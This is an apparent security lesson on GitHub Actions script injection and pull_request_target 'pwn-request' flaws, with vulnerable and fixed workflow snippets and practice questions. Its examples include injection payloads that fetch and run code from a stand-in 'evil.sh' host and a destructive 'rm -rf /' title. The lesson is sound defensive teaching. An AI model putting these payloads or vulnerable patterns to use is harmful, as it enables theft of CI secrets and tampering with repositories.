Untrusted input in CI: script injection via interpolated context and the pull_request_target pwn-request
Interpolating attacker-controlled context like github.event.issue.title into a run step is shell injection. pull_request_target runs with secrets and a write token — checking out PR head there is the pwn-request.
The “auto-label” workflow looked harmless: on every new issue, echo the title into a label-generator script. It ran on issues events, so it had the repo token, and a previous refactor had quietly bumped that token to write. The body of one step was a single line — run: echo "New issue: ${{ github.event.issue.title }}". An attacker opened an issue titled "; curl -s evil.sh | bash #. GitHub does not pass that title as an argument to the shell — it textually substitutes it into the script before the shell parses it, so the runner executed echo "New issue: "; curl -s evil.sh | bash #". The injected command ran with the workflow’s environment: the GITHUB_TOKEN, every secret the job could see, and write access to the repo. No exploit chain, no zero-day — just attacker text dropped verbatim into a shell, the single most common GitHub Actions vulnerability there is. The fix was not sanitizing the title. It was never interpolating untrusted text into a run body at all.
Script injection: the ${{ ... }} that runs as code
GitHub Actions evaluates ${{ ... }} expressions and substitutes the result into the workflow text before the runner’s shell sees the step. For a run: step, that means an expression is spliced into the shell script as raw text, then the shell parses the whole thing. If the expression’s value is attacker-controlled, the attacker is writing shell:
# VULNERABLE — title is textually substituted into the script
- run: echo "Issue: ${{ github.event.issue.title }}"An issue title of $(curl evil.sh | bash) or "; rm -rf / # becomes part of the executed command. The dangerous contexts are everything a non-collaborator can set: github.event.issue.title, .issue.body, .pull_request.title, .pull_request.body, .comment.body, .review.body, head ref and branch names, commit messages and author names from a PR. None of these are trustworthy.
The fix is to break the substitution-into-code path: pass the untrusted value through an environment variable and reference it with shell quoting, so it is data the shell reads, never text the shell parses:
# SAFE — the value arrives as an env var; the shell never parses it as code
- env:
TITLE: ${{ github.event.issue.title }}
run: echo "Issue: $TITLE"Now $TITLE is expanded by the shell as the value of a variable; even a title full of $(...) and backticks is an inert string. The env: binding is the trust boundary: GitHub sets the variable’s value out-of-band, and the script body — which is fixed at author time — only references it. (Quote it: "$TITLE".) The same rule covers actions/github-script and JS: use process.env.TITLE or context.payload, never string-concatenate the payload into evaluated code.
Why does interpolating github.event.issue.title directly into a run echo allow command execution, while passing the title via an env var and echoing the shell variable does not?
The pwn-request: pull_request_target plus PR checkout
If script injection is the most common GitHub Actions vulnerability, the pwn-request is the most severe: it gives a fork contributor arbitrary code execution with the base repo’s secrets. When you see pull_request_target in a workflow, that should be your first warning sign — the event’s design and its danger both hinge on one distinction.
There are two PR-triggered events, and the difference is the whole vulnerability. pull_request from a fork runs with a read-only token and no secrets — safe to run untrusted PR code because it can do nothing. pull_request_target runs in the context of the base repository: it gets the full secrets and a read/write GITHUB_TOKEN, and — critically — it checks out the base branch’s workflow by default, not the PR’s. That is deliberate: it lets a fork PR’s CI label, comment, or apply automation with privileges, using trusted base-repo workflow code.
The vulnerability — the pwn-request — is checking out and running the PR’s code inside that privileged event:
# VULNERABLE — pwn-request: untrusted PR head run with secrets + write token
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<sha>
with:
ref: ${{ github.event.pull_request.head.sha }} # attacker's code
- run: npm install && npm test # runs it with full secretsnpm install runs lifecycle scripts; npm test runs the PR’s test files — all attacker-authored, now executing with the base repo’s secrets and write token. An attacker opens a PR from a fork that adds a malicious postinstall script, and it exfiltrates every secret and pushes to the repo. The combination is the trap: the privileged event’s secrets and write token, and checking out untrusted code into it.
The safe patterns: do privileged work in pull_request_target only on trusted, fixed workflow code (never check out PR head); or split — run untrusted build/test in a pull_request job (no secrets), and have a separate, secret-bearing job act on its results without executing PR code. If you must check out PR head under pull_request_target, do it without secrets in scope and without the write token, treating it as fully hostile.
▸Why this works
Why does GitHub even offer pull_request_target if it’s this dangerous? Because there’s a real need it serves: fork PRs from pull_request get no secrets and a read-only token by design, which means a fork PR’s CI cannot post a status comment, apply a label, or call a secret-gated API. pull_request_target exists to let trusted base-repo automation react to a fork PR with privileges — using the base branch’s workflow, which the PR author cannot modify. The danger is entirely in the misuse: pulling the PR’s own code into that privileged context. Used as designed — privileged trusted code, never untrusted checkout — it’s safe; the pwn-request is the anti-pattern of combining its privileges with the very untrusted code it was meant to keep at arm’s length.
A workflow uses on: pull_request_target and checks out github.event.pull_request.head.sha, then runs npm install. Why is this the pwn-request, and what's the minimal correct fix?
- 01Explain the mechanism of GitHub Actions script injection and the env-var fix, and list which contexts are untrusted.
- 02What makes pull_request_target a pwn-request risk, why does it exist, and how do you use it safely?
CI runs attacker-reachable input in a privileged environment, and two patterns turn that into code execution. Script injection: GitHub substitutes ${{ ... }} expressions into the workflow text before the shell parses a run step, so any attacker-controlled context — issue and PR titles and bodies, comment and review bodies, head ref names, PR commit messages and author names — spliced into a run body is parsed as shell, and a title like $(curl evil.sh | bash) executes with the job’s token and secrets. The fix is not sanitizing the string; it’s never interpolating it into code. Bind the value to an env var and reference “$VAR”, so the shell reads it as inert data it never re-parses. The pwn-request: pull_request_target runs in the base repo’s context with full secrets and a read/write token, and checks out the base branch by default — it exists so trusted base automation can react to fork PRs with privileges. Checking out the PR head into that event runs attacker code (npm lifecycle scripts, test files) with those privileges, exfiltrating secrets and pushing to the repo. Use pull_request (no secrets, read-only) for untrusted build and test; reserve pull_request_target for trusted, fixed workflow code that never checks out PR head, or split into a privileged job that acts on results without executing PR code. Untrusted input plus privilege is the recurring shape — break the path from input to execution, and keep secrets away from code you did not write. Now when you review a workflow, scan for two things: any ${{ github.event.* }} inside a run: body (not inside env:), and any checkout of head.sha inside pull_request_target — either one is a finding.
Practice
Start at the top. Tasks go easiest → hardest: recall a fact, apply it to a case, then a senior-level stretch. Open one, attempt it, then reveal.
Something unclear?
Ask a question about this lesson. Questions are anonymous and go straight to the author to make the lesson better.